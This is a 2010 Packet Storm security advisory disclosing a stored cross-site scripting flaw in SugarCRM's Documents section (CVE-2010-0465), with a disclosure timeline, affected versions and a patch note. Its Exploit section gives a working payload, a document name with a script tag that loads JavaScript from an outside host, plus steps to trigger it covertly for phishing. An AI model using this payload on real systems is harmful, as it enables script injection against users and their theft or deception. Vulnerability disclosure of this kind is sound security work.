SugarCRM Cross Site Scripting

2010-03-16T00:00:00
ID PACKETSTORM:87330
Type packetstorm
Reporter Jeromie Jackson
Modified 2010-03-16T00:00:00

Description

                                        
                                            `Class: Stored Cross Site Scripting (XSS)  
  
CVE: CVE-2010-0465  
  
Remote: Yes   
  
Local: Yes   
  
Published: Jan 1, 2010 12:01AM  
  
Timeline: Submission to Mitre: January 29, 2010  
  
Vendor Contact: February 18, 2010  
  
Vendor Response: February 19, 2010  
  
Patch Available: March 10, 2010  
  
Credit: Jeromie Jackson CISSP, CISM  
  
COBIT & ITIL Certified  
  
President- San Diego Open Web Application Security Project (OWASP)  
  
Vice President- San Diego Information Audit & Control Association  
(ISACA)  
  
SANS Mentor  
  
Blog: www.JeromieJackson.com  
  
Twitter: www.twitter.com/Security_Sifu  
  
  
Validated Vulnerable:   
  
All previous version of SugarCRM prior to 5.5.0a and 5.2.0l   
  
  
Discussion:   
  
  
A Stored Cross-Site Scripting (XSS) vulnerability was found within  
SugarCRM. The vulnerability is exploited through the online Documents  
section of the application. By crafting a name that includes XSS code it  
is possible to inject malicious data, redirect the user to a bogus  
replica of the real website, or other nefariousactivity.   
  
  
  
Exploit:   
  
There are two ways that have been used to exploit this vulnerability. In  
both instances, make a document with the following Document Name:   
  
  
pwn3d<SCRIPT SRC="http://www.jeromiejackson.com/sugarcrm.js"></SCRIPT>  
  
  
  
Example #1  
  
  
Within the SugarCRM User Interface (UI) go to the Documents List. Click  
on the one just created. This will execute the script. You will see the  
script right in the document list- very obvious to most users that  
something doesn't look right. The next example is slighly more covert.  
  
  
  
Example #2  
  
  
Within the SugarCRM UI go to the Document List. Hover over the Document  
Name you just created, right-click, and then copy the URL location. You  
will see the URL does not have any of the scripting, it has been  
replaced with queries directly to a Record variable within the  
application. This would probably be the tact a Phisher would take.  
  
  
  
Solution:   
  
A patch has been made available via the vendor. It is recommended a  
routine to sanitize user input be consistently implemented throughout  
the application to mitigate other such occurrences within the  
application.  
  
  
  
  
`